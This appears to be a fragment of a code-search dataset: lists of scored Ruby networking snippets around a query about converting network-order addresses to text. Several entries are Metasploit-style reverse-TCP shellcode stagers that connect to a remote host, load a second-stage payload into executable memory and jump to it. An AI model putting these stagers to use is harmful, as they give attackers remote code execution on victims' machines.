mac_address[mac_address.size - end_num.size, mac_address.size]= end_num\n mac_address = mac_address[0,2] + ':' + mac_address[2, 2] + ':' + mac_address[4,2] + ':' + mac_address[6,2] + ':' + mac_address[8,2] + ':' + mac_address[10,2]\n return mac_address\n end", "def addr_ntoa(addr)\n # IPv4\n if (addr.length == 4)\n return addr.unpack('C4').join('.')\n end\n\n # IPv6\n if (addr.length == 16)\n return compress_address(addr.unpack('n8').map{ |c| \"%x\" % c }.join(\":\"))\n end\n\n raise RuntimeError, \"Invalid address format\"\n end", "def asm_reverse_tcp(opts={})\n\n retry_count = [opts[:retry_count].to_i, 1].max\n encoded_port = \"0x%.8x\" % [opts[:port].to_i,2].pack(\"vn\").unpack(\"N\").first\n encoded_host = \"0x%.8x\" % Rex::Socket.addr_aton(opts[:host]||\"127.127.127.127\").unpack(\"V\").first\n\n addr_fam = 2\n sockaddr_size = 16\n\n asm = %Q^\n ; Input: EBP must be the address of 'api_call'.\n ; Output: EDI will be the socket for the connection to the server\n ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)\n\n reverse_tcp:\n push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.\n push 'ws2_' ; ...\n push esp ; Push a pointer to the \"ws2_32\" string on the stack.\n push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n mov eax, ebp\n call eax ; LoadLibraryA( \"ws2_32\" )\n\n mov eax, 0x0190 ; EAX = sizeof( struct WSAData )\n sub esp, eax ; alloc some space for the WSAData structure\n push esp ; push a pointer to this stuct\n push eax ; push the wVersionRequested parameter\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}\n call ebp ; WSAStartup( 0x0190, &WSAData );\n\n set_address:\n push #{retry_count} ; retry counter\n\n create_socket:\n push #{encoded_host} ; host in little-endian format\n push #{encoded_port} ; family AF_INET and port number\n mov esi, esp ; save pointer to sockaddr struct\n\n push eax ; if we succeed, eax will be zero, push zero for the flags param.\n push eax ; push null for reserved parameter\n push eax ; we do not specify a WSAPROTOCOL_INFO structure\n push eax ; we do not specify a protocol\n inc eax ;\n push eax ; push SOCK_STREAM\n inc eax ;\n push eax ; push AF_INET\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}\n call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );\n xchg edi, eax ; save the socket for later, don't care about the value of eax after this\n ^\n # Check if a bind port was specified\n if opts[:bind_port]\n bind_port = opts[:bind_port]\n encoded_bind_port = \"0x%.8x\" % [bind_port.to_i,2].pack(\"vn\").unpack(\"N\").first\n asm << %Q^\n xor eax, eax\n push 11\n pop ecx\n push_0_loop:\n push eax ; if we succeed, eax will be zero, push it enough times\n ; to cater for both IPv4 and IPv6\n loop push_0_loop\n\n ; bind to 0.0.0.0/[::], pushed above\n push #{encoded_bind_port} ; family AF_INET and port number\n mov esi, esp ; save a pointer to sockaddr_in struct\n push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)\n push esi ; pointer to the sockaddr_in struct\n push edi ; socket\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}\n call ebp ; bind( s, &sockaddr_in, 16 );\n push #{encoded_host} ; host in little-endian format\n push #{encoded_port} ; family AF_INET and port number\n mov esi, esp\n ^\n end\n\n asm << %Q^\n try_connect:\n push 16 ; length of the sockaddr struct\n push esi ; pointer to the sockaddr struct\n push edi ; the socket\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}\n call ebp ; connect( s, &sockaddr, 16 );\n\n test eax,eax ; non-zero means a failure\n jz connected\n\n handle_connect_failure:\n ; decrement our attempt count and try again\n dec dword [esi+8]\n jnz try_connect\n ^\n\n if opts[:exitfunk]\n asm << %Q^\n failure:\n call exitfunk\n ^\n else\n asm << %Q^\n failure:\n push 0x56A2B5F0 ; hardcoded to exitprocess for size\n call ebp\n ^\n end\n\n asm << %Q^\n ; this lable is required so that reconnect attempts include\n ; the UUID stuff if required.\n connected:\n ^\n\n asm << asm_send_uuid if include_send_uuid\n\n asm\n end", "def pack_int64_bigendian(value)\n (0..7).map { |index| (value >> (index * 8)) & 0xFF }.reverse.map(&:chr).join\n end", "def port_from(random_string)\n random_string\n end", "def send_to_phone(ip_addr, data)\r\n\ts = TCPSocket.open(ip_addr, 5050)\r\n\ts.puts data\r\n\ts.close\r\nend", "def to_s; \"<Align: $#{@addr.to_s(16)}\"; end", "def read_and_unpack_byte\n byte = @sock.read(1)\n raise SocketReadError if byte.nil?\n byte = byte.unpack('C')[0]\n end", "def encode_uint32(value)\n [value].pack(\"L>\")\n end", "def ToHex(ip)\n tmp = Ops.add(\n \"00000000\",\n Builtins.substring(\n Builtins.toupper(Builtins.tohexstring(ToInteger(ip))),\n 2\n )\n )\n Builtins.substring(tmp, Ops.subtract(Builtins.size(tmp), 8))\n end", "def get_ip(remote_address)\n return \"\" unless remote_address\n\n #Capture the first three octects of the IP address and replace the forth\n #with 0, e.g. 124.455.3.123 becomes 124.455.3.0\n regex = /^([^.]+\\.[^.]+\\.[^.]+\\.).*/\n if matches = remote_address.scan(regex)\n return matches[0][0] + \"0\"\n else\n return \"\"\n end\nend", "def int2str(dw)\n (dw & 0xff).chr + ((dw >> 8) & 0xff).chr + ((dw >> 16) & 0xff).chr + ((dw >> 24) & 0xff).chr\nend", "def arp_src_ip= i; typecast \"arp_src_ip\", i; end", "def test_encode_integer\n\n # Fixnum\n #\n #assert_equal( \"\\x02\\x02\\x96\\x46\", -27_066.to_ber )\n #assert_equal( \"\\x02\\x02\\xFF\\x7F\", -129.to_ber )\n #assert_equal( \"\\x02\\x01\\x80\", -128.to_ber )\n #assert_equal( \"\\x02\\x01\\xFF\", -1.to_ber )\n\n assert_equal( \"\\x02\\x01\\x00\", 0.to_ber )\n assert_equal( \"\\x02\\x01\\x01\", 1.to_ber )\n assert_equal( \"\\x02\\x01\\x7F\", 127.to_ber )\n assert_equal( \"\\x02\\x01\\x80\", 128.to_ber )\n assert_equal( \"\\x02\\x01\\xFF\", 255.to_ber )\n\n assert_equal( \"\\x02\\x02\\x01\\x00\", 256.to_ber )\n assert_equal( \"\\x02\\x02\\xFF\\xFF\", 65535.to_ber )\n\n assert_equal( \"\\x02\\x03\\x01\\x00\\x00\", 65536.to_ber )\n assert_equal( \"\\x02\\x03\\xFF\\xFF\\xFF\", 16_777_215.to_ber )\n\n assert_equal( \"\\x02\\x04\\x01\\x00\\x00\\x00\", 0x01000000.to_ber )\n assert_equal( \"\\x02\\x04\\x3F\\xFF\\xFF\\xFF\", 0x3FFFFFFF.to_ber )\n\n # Bignum\n #\n assert_equal( \"\\x02\\x04\\x4F\\xFF\\xFF\\xFF\", 0x4FFFFFFF.to_ber )\n #assert_equal( \"\\x02\\x05\\x00\\xFF\\xFF\\xFF\\xFF\", 0xFFFFFFFF.to_ber )\n end", "def emit\n # Get the bytes in network byte order\n case @value\n when (-32768..32767): bytes = [@value].pack(\"n\").unpack(\"C*\")\n else bytes = [@value].pack(\"N\").unpack(\"C*\")\n end\n bytes.insert 0, OPCODES[bytes.size]\n end", "def write_int32(int)\n write([int].pack(\"l>\"))\n end", "def serial_number\n raw_response[4..-1].pack('c*').unpack('H*').first.upcase\n end", "def identity() @raw_socket.identity; end", "def test_gen_ipaddr_ip3_ending\n assert_equal RFauxFactory.gen_ipaddr(protocol: :ip3).split('.')[-1], '0'\n end", "def get_ipaddr(dns_query, parsed_dns, length)\n address = \"\"\n case length\n when IPV4_ADDR_LENGTH\n address = dns_query[parsed_dns[:index], length].unpack(\"CCCC\").join('.')\n when IPV6_ADDR_LENGTH\n address = dns_query[parsed_dns[:index], length].unpack(\"nnnnnnnn\").map{|v| sprintf(\"%x\", v)}.join(':')\n end\n parsed_dns[:index] += length\n return address\n end", "def socket_port; end", "def ip2long(ip)\n long = 0\n ip.split(/\\./).reverse.each_with_index do |x, i|\n long += x.to_i << (i * 8)\n end\n long\n end", "def last\n if @family == Socket::AF_INET\n IPAddr.new(first.to_i | (@mask_addr ^ IPAddr::IN4MASK), @family)\n elsif @family == Socket::AF_INET6\n IPAddr.new(first.to_i | (@mask_addr ^ IPAddr::IN6MASK), @family)\n else\n raise \"unsupported address family.\"\n end\n end", "def asm_reverse_tcp(opts={})\n # TODO: reliability is coming\n retry_count = opts[:retry_count]\n encoded_port = \"0x%.8x\" % [opts[:port].to_i, 2].pack(\"vn\").unpack(\"N\").first\n encoded_host = \"0x%.8x\" % Rex::Socket.addr_aton(opts[:host]||\"127.127.127.127\").unpack(\"V\").first\n seconds = (opts[:sleep_seconds] || 5.0)\n sleep_seconds = seconds.to_i\n sleep_nanoseconds = (seconds % 1 * 1000000000).to_i\n\n mprotect_flags = 0b111 # PROT_READ | PROT_WRITE | PROT_EXEC\n\n if respond_to?(:generate_intermediate_stage)\n pay_mod = framework.payloads.create(self.refname)\n read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size\n elsif !module_info['Stage']['Payload'].empty?\n read_length = module_info['Stage']['Payload'].size\n else\n # If we don't know, at least use small instructions\n read_length = 0x0c00 + mprotect_flags\n end\n\n # I was bored on the train, ok?\n read_reg =\n if read_length % 0x100 == mprotect_flags && read_length <= 0xff00 + mprotect_flags\n # We use `edx` as part mprotect, but at two bytes assembled, this edge case is worth checking:\n # If the lower byte will be the same, just set the upper byte\n read_length = read_length / 0x100\n 'dh'\n elsif read_length < 0x100\n 'dl' # Also assembles in two bytes ^.^\n elsif read_length < 0x10000\n 'dx' # Shave a byte off of setting `edx`\n else\n 'edx' # Take five bytes :/\n end\n\n asm = %Q^\n push #{retry_count} ; retry counter\n pop esi\n create_socket:\n xor ebx, ebx\n mul ebx\n push ebx\n inc ebx\n push ebx\n push 0x2\n mov al, 0x66\n mov ecx, esp\n int 0x80 ; sys_socketcall (socket())\n xchg eax, edi ; store the socket in edi\n\n set_address:\n pop ebx ; set ebx back to zero\n push #{encoded_host}\n push #{encoded_port}\n mov ecx, esp\n\n try_connect:\n push 0x66\n pop eax\n push eax\n push ecx\n push edi\n mov ecx, esp\n inc ebx\n int 0x80 ; sys_socketcall (connect())\n test eax, eax\n jns mprotect\n\n handle_failure:\n dec esi\n jz failed\n push 0xa2\n pop eax\n push 0x#{sleep_nanoseconds.to_s(16)}\n push 0x#{sleep_seconds.to_s(16)}\n mov ebx, esp\n xor ecx, ecx\n int 0x80 ; sys_nanosleep\n test eax, eax\n jns create_socket\n jmp failed\n ^\n\n asm << asm_send_uuid if include_send_uuid\n\n asm << %Q^\n mprotect:\n mov dl, 0x#{mprotect_flags.to_s(16)}\n mov ecx, 0x1000\n mov ebx, esp\n shr ebx, 0xc\n shl ebx, 0xc\n mov al, 0x7d\n int 0x80 ; sys_mprotect\n test eax, eax\n js failed\n\n recv:\n pop ebx\n mov ecx, esp\n cdq\n mov #{read_reg}, 0x#{read_length.to_s(16)}\n mov al, 0x3\n int 0x80 ; sys_read (recv())\n test eax, eax\n js failed\n jmp ecx\n\n failed:\n mov eax, 0x1\n mov ebx, 0x1 ; set exit status to 1\n int 0x80 ; sys_exit\n ^\n\n asm\n end", "def int_to_binary_string(number)\n number.to_s(2)\nend", "def ip2long(ip)\n long = 0\n ip.split( /\\./ ).reverse.each_with_index do |x, i|\n long += x.to_i << ( i * 8 )\n end\n long\n end", "def address_for(network); end", "def icmp_code=(i); typecast i; end", "def icmp_code=(i); typecast i; end", "def asm_reverse_tcp(opts={})\n # TODO: reliability is coming\n retry_count = opts[:retry_count]\n reliable = opts[:reliable]\n encoded_port = \"%.8x\" % [opts[:port].to_i,2].pack(\"vn\").unpack(\"N\").first\n encoded_host = \"%.8x\" % Rex::Socket.addr_aton(opts[:host]||\"127.127.127.127\").unpack(\"V\").first\n seconds = (opts[:sleep_seconds] || 5.0)\n sleep_seconds = seconds.to_i\n sleep_nanoseconds = (seconds % 1 * 1000000000).to_i\n\n if respond_to?(:generate_intermediate_stage)\n pay_mod = framework.payloads.create(self.refname)\n read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size\n elsif !module_info['Stage']['Payload'].empty?\n read_length = module_info['Stage']['Payload'].size\n else\n read_length = 4096\n end\n\n asm = %Q^\n mmap:\n xor rdi, rdi\n push 0x9\n pop rax\n cdq\n mov dh, 0x10\n mov rsi, rdx\n xor r9, r9\n push 0x22\n pop r10\n mov dl, 0x7\n syscall ; mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)\n test rax, rax\n js failed\n\n push #{retry_count} ; retry counter\n pop r9\n push rax\n push 0x29\n pop rax\n cdq\n push 0x2\n pop rdi\n push 0x1\n pop rsi\n syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)\n test rax, rax\n js failed\n\n xchg rdi, rax\n\n connect:\n mov rcx, 0x#{encoded_host}#{encoded_port}\n push rcx\n mov rsi, rsp\n push 0x10\n pop rdx\n push 0x2a\n pop rax\n syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)\n pop rcx\n test rax, rax\n jns recv\n\n handle_failure:\n dec r9\n jz failed\n push rdi\n push 0x23\n pop rax\n push 0x#{sleep_nanoseconds.to_s(16)}\n push 0x#{sleep_seconds.to_s(16)}\n mov rdi, rsp\n xor rsi, rsi\n syscall ; sys_nanosleep\n pop rcx\n pop rcx\n pop rdi\n test rax, rax\n jns connect\n\n failed:\n push 0x3c\n pop rax\n push 0x1\n pop rdi\n syscall ; exit(1)\n\n recv:\n pop rsi\n push 0x#{read_length.to_s(16)}\n pop rdx\n syscall ; read(3, \"\", #{read_length})\n test rax, rax\n js failed\n\n jmp rsi ; to stage\n ^\n\n asm\n end", "def bloadcast(bytesize=50)\n send(0, bytesize)\n end", "def bcast_info\n Socket.getifaddrs.map do |iface|\n next unless iface.addr.ipv4?\n\n output = iface.name + ':' + iface.inspect\n int = ('Address:' + ' ' + output.split[1] + ' ' + output.split[3..4].to_s)\n puts int.gsub('?', '0')\n end\nend", "def BinaryConverter(str)\r\n return str.to_i(2)\r\nend", "def int2ip(intip)\n ip_segments = [3, 2, 1, 0].map { |i| (intip & (255 << i*8)) >> i*8 }\n (ip_str= ip_segments.join('.')) =~ IP_REGEXP ? ip_str : ''\n end", "def send(str)\r\n @socket.write(str + 0.chr)\r\n end", "def ip\n orig, Socket.do_not_reverse_lookup = Socket.do_not_reverse_lookup, true # turn off reverse DNS resolution temporarily\n UDPSocket.open do |s|\n s.connect '64.233.187.99', 1\n s.addr.last\n end\n ensure\n Socket.do_not_reverse_lookup = orig\n end", "def to_bin(in_pretty=false)\n s = @ip_int.to_s(2).rjust(@version*8, '0')\n return s unless in_pretty\n \n if (@version == 4)\n /^((?:0|1){8})((?:0|1){8})((?:0|1){8})((?:0|1){8})$/.match(s)[1,4].join('.')\n else\n /^((?:0|1){8})((?:0|1){8})((?:0|1){8})((?:0|1){8})((?:0|1){8})((?:0|1){8})$/.match(s)[1,6].join('.')\n end\n end", "def addr_itoa(addr, v6=false)\n nboa = addr_iton(addr, v6)\n\n addr_ntoa(nboa)\n end", "def addr\n @addr ||= @stream.connection.socket.peeraddr[3] rescue nil\n end", "def mask_to_s\n _to_string(@mask_addr)\n end" ]
[ "0.6731029", "0.66789913", "0.6571592", "0.642643", "0.62745106", "0.6169225", "0.60977787", "0.6051954", "0.60223883", "0.5929707", "0.59039205", "0.57742816", "0.57372266", "0.57132983", "0.5707379", "0.5706876", "0.5651955", "0.5634735", "0.5578813", "0.5557973", "0.554696", "0.55453795", "0.55272824", "0.55272824", "0.5522144", "0.5522144", "0.5505477", "0.54603505", "0.5451033", "0.5443925", "0.5443925", "0.5441632", "0.5439827", "0.54376626", "0.5429904", "0.54257715", "0.5419437", "0.54154694", "0.54154694", "0.54091346", "0.5399243", "0.5386382", "0.5378755", "0.5368395", "0.53673416", "0.53502285", "0.5345722", "0.53421485", "0.532696", "0.5324682", "0.5319743", "0.53041834", "0.5300995", "0.5300995", "0.5292206", "0.5290024", "0.52813953", "0.5279558", "0.5267382", "0.52569866", "0.52564096", "0.5250219", "0.523371", "0.5226921", "0.5226023", "0.522538", "0.5223709", "0.5223648", "0.52159256", "0.5198804", "0.5192694", "0.51753193", "0.5164944", "0.5164382", "0.51642764", "0.5161412", "0.5157081", "0.5154671", "0.51532054", "0.51506084", "0.5149786", "0.51495546", "0.5149132", "0.51461774", "0.51341176", "0.5133755", "0.51284856", "0.51281184", "0.51281184", "0.5123067", "0.5114618", "0.5114213", "0.510844", "0.510375", "0.50946033", "0.50936633", "0.50879145", "0.50845236", "0.5082623", "0.50794715" ]
0.56830436
16
Source: Rex::Socket Converts a network byte order address to ascii
def addr_ntoa(addr) # IPv4 if (addr.length == 4) return addr.unpack('C4').join('.') end # IPv6 if (addr.length == 16) return compress_address(addr.unpack('n8').map{ |c| "%x" % c }.join(":")) end raise RuntimeError, "Invalid address format" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _to_string(addr)\n \"%d.%d.%d.%d\" % [ (addr >> 24) & 0xff, (addr >> 16) & 0xff, (addr >> 8) & 0xff, (0xff&addr) ] \n end", "def ipv4_to_txt(ipv4)\n IPAddr.new(ipv4, Socket::AF_INET).to_s\nend", "def eton(addr)\n\t\taddr.split(':').map { |c| c.hex.chr }.join\n\tend", "def to_s\r\n return to_socket\r\n end", "def ntoa\n Dnet.addr_ntoa(self)\n end", "def to_source; \"* = $#{@addr.to_s(16)}\"; end", "def to_ascii; convert_format(UTF8, ASCII8BIT);end", "def human_name\n \"reverse TCP\"\n end", "def force_to_ascii s\n out = \"\"\n s.each_byte do |b|\n if (b & 128) != 0\n out << \"\\\\x#{b.to_s 16}\"\n else\n out << b.chr\n end\n end\n #out.force_encoding Encoding::UTF_8 if in_ruby19_hell? # not necessary?\n out\n end", "def to_ascii\n input.gsub(/[^\\x00-\\x7f]/u, &method(:decode)).strip\n end", "def to_x\n\t\t\tIPAddr.new(self.to_i, Socket::AF_INET6).to_s\n\t\tend", "def to_hexstr\n Common.unpackbytes(to_s)\n end", "def to_ipaddr\n unless ip_addr?\n lookup = `host #{to_s} | grep address`.split(/\\s+/)\n return to_s unless lookup.length == 4\n lookup[3]\n else \n to_s\n end\n end", "def ctcp_encode(str)\n \"\\x01#{ctcp_quote(str)}\\x01\"\n end", "def ipv4_addr_to_string(uint32)\n \"#{(uint32 & 0xff000000) >> 24}.#{(uint32 & 0x00ff0000) >> 16}.#{(uint32 & 0x0000ff00) >> 8}.#{uint32 & 0x000000ff}\"\n end", "def chaddr\n @chaddr[0,@hlen].each_byte.map{|b| ('0'+b.to_s(16).upcase)[-2,2]}.join(':')\n end", "def to_s; \"<Align: $#{@addr.to_s(16)}\"; end", "def arp_proto_readable\n\t\t\"0x%04x\" % arp_proto\n\tend", "def mask_to_s\n _to_string(@mask_addr)\n end", "def tns_hexify\n self.each_byte.map do |byte|\n (HEXCHARS[(byte >> 4)] + HEXCHARS[(byte & 0xf )])\n end.join()\n end", "def rcptto(to_addr); end", "def str_ip(num)\n return nil unless num\n \"#{num >> 24}.#{(num >> 16) & 0xFF}.#{(num >> 8) & 0xFF}.#{num & 0xFF}\"\n end", "def get_string(dns_query, parsed_dns)\n str_num = dns_query[parsed_dns[:index]].unpack(\"C\")[0]\n str = dns_query[parsed_dns[:index] + 1, str_num]\n str.encode!(\"US-ASCII\", :invalid => :replace, :undef => :replace, :replace => '?')\n parsed_dns[:index] += str_num + 1\n return str\n end", "def to_utf8; convert_format(ASCII8BIT, UTF8); end", "def ascii_s(hex_s)\n [hex_s].pack('H*')\nend", "def encode_hostname(hostname); end", "def to_s\n @normalized_rcdata.gsub(/&(?:#([0-9]+));/o) {|s|\n u = $1.to_i\n if 0 <= u && u <= 0x7f\n [u].pack(\"C\")\n else\n '?'\n end\n }\n end", "def to_s\n # no need to print tcp/udp ANY in Cisco ACL\n ''\n end", "def addr_itoa(addr, v6=false)\n nboa = addr_iton(addr, v6)\n\n addr_ntoa(nboa)\n end", "def to_ascii(string)\n require 'unidecode'\n\n begin\n #string.unpack(\"U*\").map{|c|c.chr}.join\n #Iconv.iconv(\"US-ASCII//TRANSLIT\", \"UTF-8\", string).first\n Unidecoder.decode(string).gsub(\"[?]\", \"\").gsub(/`/, \"'\").strip\n \n \n rescue => errmsg\n p errmsg\n string\n end\n end", "def msg_to_hex(msg)\nreturn msg.unpack('H*')[0]\nend", "def decode_ip(data_received, answer_offset, answer_data_length)\n host_str = \"\"\n \n i = 0\n while i < answer_data_length\n byte_read = data_received.slice(answer_offset + i, data_received.length - (answer_offset + i)).unpack(\"C\")\n\n host_str << byte_read[0].to_s\n if i < answer_data_length - 1\n host_str << \".\"\n end\n i = i + 1\n end\n\n return host_str\nend", "def host_as_string; end", "def to_ascii\n to_s.gsub(/[^\\t\\n\\r\\x20-\\x7E]/) { |c| UTF8_TO_ASCII[c] || \" \" }\n end", "def to_ascii!; replace(to_ascii); end", "def to_hex_string(readable = true)\n unpacked = self.unpack('H*').first\n if readable\n unpacked.gsub(/(..)/,'\\1 ').rstrip\n else\n unpacked\n end\n\tend", "def convert(string)\n pp request.mode\n # RFC1350: any combination of upper\n # and lower case, such as \"NETASCII\", NetAscii\", etc.\n return string unless request.mode.casecmp(\"netascii\").eql?(0)\n string.gsub(/\\r\\n/,\"\\n\")\n end", "def decode(base_addr=0, eip=base_addr)\n decode_blocks(base_addr, eip).to_s\n end", "def to_ascii(string)\n\t\tstring.unpack(\"U*\").map do |c| \n\t\t\tc.chr if c < 128\n\t\tend.join\n\tend", "def bin_to_hex(s)\r\n s.each_byte.map { |b| b.to_s(16) }.join\r\n #puts s.bin_to_hex\r\nend", "def port_string; end", "def to_s\n elements = bytes.unpack(\"NnnCCa6\")\n node = elements[-1].unpack('C*')\n elements[-1] = '%02x%02x%02x%02x%02x%02x' % node\n \"%08x-%04x-%04x-%02x%02x-%s\" % elements\n end", "def ipv6_to_txt(ipv6)\n txt = \"\"\n for i in 0..15\n txt = (txt + (i == 0 || (i & 1) == 1 ? \"\" : \":\") + \"%02x\" %ipv6[i])\n end\n txt\nend", "def to_ascii\n options = {\n :invalid => :replace,\n :undef => :replace,\n :replace => '',\n :universal_newline => true\n }\n return self.encode(Encoding.find('ASCII'), options)\n end", "def from_hex(str)\n str.to_s.hex\nend", "def string(buf)\n buf.read(integer(buf, 0)).force_encoding('utf-8')\n end", "def string(buf)\n buf.read(integer(buf, 0)).force_encoding('utf-8')\n end", "def address=(value)\n self[:address] = if (_value = value.to_s).encode('utf-8').valid_encoding? then _value.encode('utf-8')\n else _value.force_encoding(\"ISO-8859-1\").encode('utf-8')\n end\n end", "def send(str)\r\n @socket.write(str + 0.chr)\r\n end", "def mac_to_txt(mac)\n mac.map {|s| s.to_s(16)}.join \":\"\nend", "def hex_s(ascii_s)\n ascii_s.unpack('H*')[0]\nend", "def shortxlunicodestring(io)\n cch, flags = io.read(2).unpack('CC')\n _read_unicodestring(io, cch, flags)\n end", "def ctcp_decode(str)\n ctcp_dequote(str.delete(\"\\x01\"))\n end", "def mysqlhexdecode\n self.sub('0x','').scan(/../).map { |x| x.hex.chr }.join\n end", "def getASCII(c)\n c.ord\nend", "def to_s\n\t\treturn \"%s:%d\" % [ self.peer_host, self.peer_port ]\n\tend", "def getAddress()\n \"#{@mcAddress}:#{@port}\"\n end", "def ToHex(ip)\n tmp = Ops.add(\n \"00000000\",\n Builtins.substring(\n Builtins.toupper(Builtins.tohexstring(ToInteger(ip))),\n 2\n )\n )\n Builtins.substring(tmp, Ops.subtract(Builtins.size(tmp), 8))\n end", "def hex; @node_id.hexlify; end", "def to_s\n @int.chr(Encoding::UTF_8)\n end", "def to_ascii!; self.replace(self.to_ascii); end", "def write(buf, addr)\n hex = Rex::Text.to_hex(buf, '')\n send_cmd \"M#{addr},#{buf.length.to_s(16)}:#{hex}\"\n read_response\n end", "def address\n payload = \"#{version}#{public_key_hash}#{checksum}\"\n Base58.encode(payload.to_i(16))\n end", "def to_hex\n to_octet.unpack('H*').first\n end", "def get_byte\n byte = @connection.getbyte.to_s 2\n byte = \"0\" * (8 - byte.length) + byte\n end", "def decode_hostname(hostname); end", "def to_utf8(raw_text)\n if raw_text.platform_id == 1 && raw_text.encoding_id == 0\n return raw_text\n else\n begin\n raw_text.encode(\"UTF-8\", \"UTF-16BE\")\n rescue\n raw_text\n end\n end\n end", "def arp_src_ip; self[:arp_src_ip].to_s; end", "def write_(s)\n s = s.encode(@conf['encoding'], s.encoding)\n @sock.puts s\n log.info \"W > #{s}\"\n end", "def IPAddress(str)\n IPAddress::parse str\nend", "def IPAddress(str)\n IPAddress::parse str\nend", "def to_6to4\n if @family == Socket::AF_INET\n IPAddr.new((0x2002 << 112) + (@addr << 80), Socket::AF_INET6).tap { |p| p.length = 48 }\n end\n end", "def encode_string(str)\n str = str.to_s.encode('UTF-8')\n\n # Force to binary, when assembling the packet\n str.force_encoding('ASCII-8BIT')\n encode_short(str.bytesize) + str\n end", "def mac_address\n @mac_address ||= raw_data[22..27].join(':')\n end", "def to_s\n\t\t\"%s:%d\" % [ @peerHost, @peerPort ]\n\tend", "def format_mac_address\n self.mac_address = self.mac_address.to_s.upcase.gsub(/[^A-F0-9]/,'')\n end", "def to_s\n if @cidr_length then \"#{@address}/#{@cidr_length}\"\n else \"#{@address}\"\n end\n end", "def hex2str(hex)\n [hex].pack('H*')\n end", "def shift_string(buffer)\n len = shift_short(buffer)\n str = shift_data(buffer,len)\n # Strings in MQTT v3.1 are all UTF-8\n str.force_encoding('UTF-8')\n end", "def to_s(addr: nil)\n value = to_i(addr: addr)\n # TODO: don't fix the length at 64\n length = 64\n bits = (\"%0#{length}b\" % value).gsub(/(\\d)(?=(\\d\\d\\d\\d\\d\\d\\d\\d)+(?!\\d))/, '\\\\1_')\n comments = ''\n @instruction_specs.each do |_field_name, spec|\n comments += \"#{spec} \"\n end\n \"#{bits} // #{comments.strip}\"\n end", "def to_s\n to_hex\n end", "def to_hex(s); s && s.unpack('H*').first; end", "def print_raw(msg = '')\n @sock.write(msg)\n @sock.flush\n\n msg\n end", "def arp_src_mac; self[:arp_src_mac].to_s; end", "def as_hex_ewkb(allow_srid=true,allow_z=true,allow_m=true)\r\n \tas_ewkb(allow_srid, allow_z, allow_m).unpack('H*').join('').upcase\r\n end", "def test_REG_REGOK\r\n msg_out = \"REG macau 10.0.1.28\"\r\n msg_esperada = \"REGOK\"\r\n sock = UDPSocket.new\r\n sock.connect($central_ip, $central_porta)\r\n sock.print(msg_out)\r\n msg_in = sock.recvfrom(20)[0]\r\n assert_equal(msg_esperada, msg_in)\r\n end", "def to_s\n\t\t\t\"#{host}:#{port}\"\n\t\tend", "def node_id_s\n node_bytes = [ @node_id >> 32, @node_id & 0xFFFF_FFFF].pack(\"NN\")\n elements = node_bytes.unpack(\"CCa6\")\n node = elements[-1].unpack('C*')\n elements[-1] = '%02x%02x%02x%02x%02x%02x' % node\n \"%02x%02x-%s\" % elements\n end", "def encode(string)\n string.unpack('B*')[0].tr('01', \" \\n\")\n end", "def test_non_string_from_to_s\n create_socket [\"class BugExample; def to_s; 1; end; end\", \"b = BugExample.new\", \"sleep 0.01\"]\n run_to_line(3)\n send_ruby(\"v local\")\n assert_variables(read_variables, 1, {:value => \"ERROR: BugExample.to_s method returns #{int_type_name}. Should return String.\"})\n send_cont\n end", "def to_s\n\t\treturn \"%s:%d (%s, %s, %s)\" % [\n\t\t\tself.host,\n\t\t\tself.port,\n\t\t\tself.base_dn,\n\t\t\tself.connect_type,\n\t\t\tself.bound? ? @bound_user : 'anonymous'\n\t\t ]\n\tend", "def parseAscii str\n\tstr.chars.map { |c| c !~ /[[:print:]]/ ? \"0x\" + c.ord.to_s : c}.join\nend", "def to_r\n raw = [ @version, @command, @dest_port, Rex::Socket.addr_atoi( @dest_ip ) ].pack( 'CCnN' )\n return raw if( @userid.empty? )\n return raw + [ @userid ].pack( 'Z*' )\n end", "def ip_string(ipint)\n octets = []\n 4.times do\n octet = ipint & 0xFF\n octets.unshift(octet.to_s)\n ipint = ipint >> 8\n end\n ip = octets.join('.')\n\t\treturn ip\n\tend", "def ip_string(ipint)\n octets = []\n 4.times do\n octet = ipint & 0xFF\n octets.unshift(octet.to_s)\n ipint = ipint >> 8\n end\n ip = octets.join('.')\n\t\treturn ip\n\tend", "def getHostid\n hex = IP.ToHex(@hostaddress)\n hex\n end", "def address_for(network); end", "def hex() end", "def arp_dest_mac; self[:arp_dest_mac].to_s; end", "def get_sockaddr\n Socket.unpack_sockaddr_in(get_sockname).reverse\n end" ]
[ "0.66709393", "0.65503466", "0.6441555", "0.64280134", "0.6315121", "0.6213539", "0.6163443", "0.6152091", "0.6143007", "0.598979", "0.5964385", "0.59339935", "0.59219193", "0.5905933", "0.58973426", "0.5896549", "0.58521444", "0.5841705", "0.57688", "0.57311064", "0.5711901", "0.56857616", "0.5647644", "0.5635467", "0.56274503", "0.5616074", "0.5580292", "0.5570449", "0.55371165", "0.553012", "0.5526144", "0.552001", "0.5515603", "0.5512005", "0.550232", "0.55011916", "0.5492897", "0.54894054", "0.548793", "0.54834944", "0.5479922", "0.54757744", "0.5454582", "0.5441515", "0.54410756", "0.54283404", "0.54283404", "0.5426785", "0.5419017", "0.5388277", "0.5381989", "0.53806674", "0.53803706", "0.53771394", "0.5376086", "0.53740406", "0.5364327", "0.5352867", "0.5346521", "0.53413576", "0.53327346", "0.53186065", "0.53170407", "0.53169376", "0.53167737", "0.5315285", "0.52959955", "0.5295766", "0.528367", "0.52781767", "0.52781767", "0.527814", "0.5277968", "0.5273279", "0.52681816", "0.526605", "0.5265943", 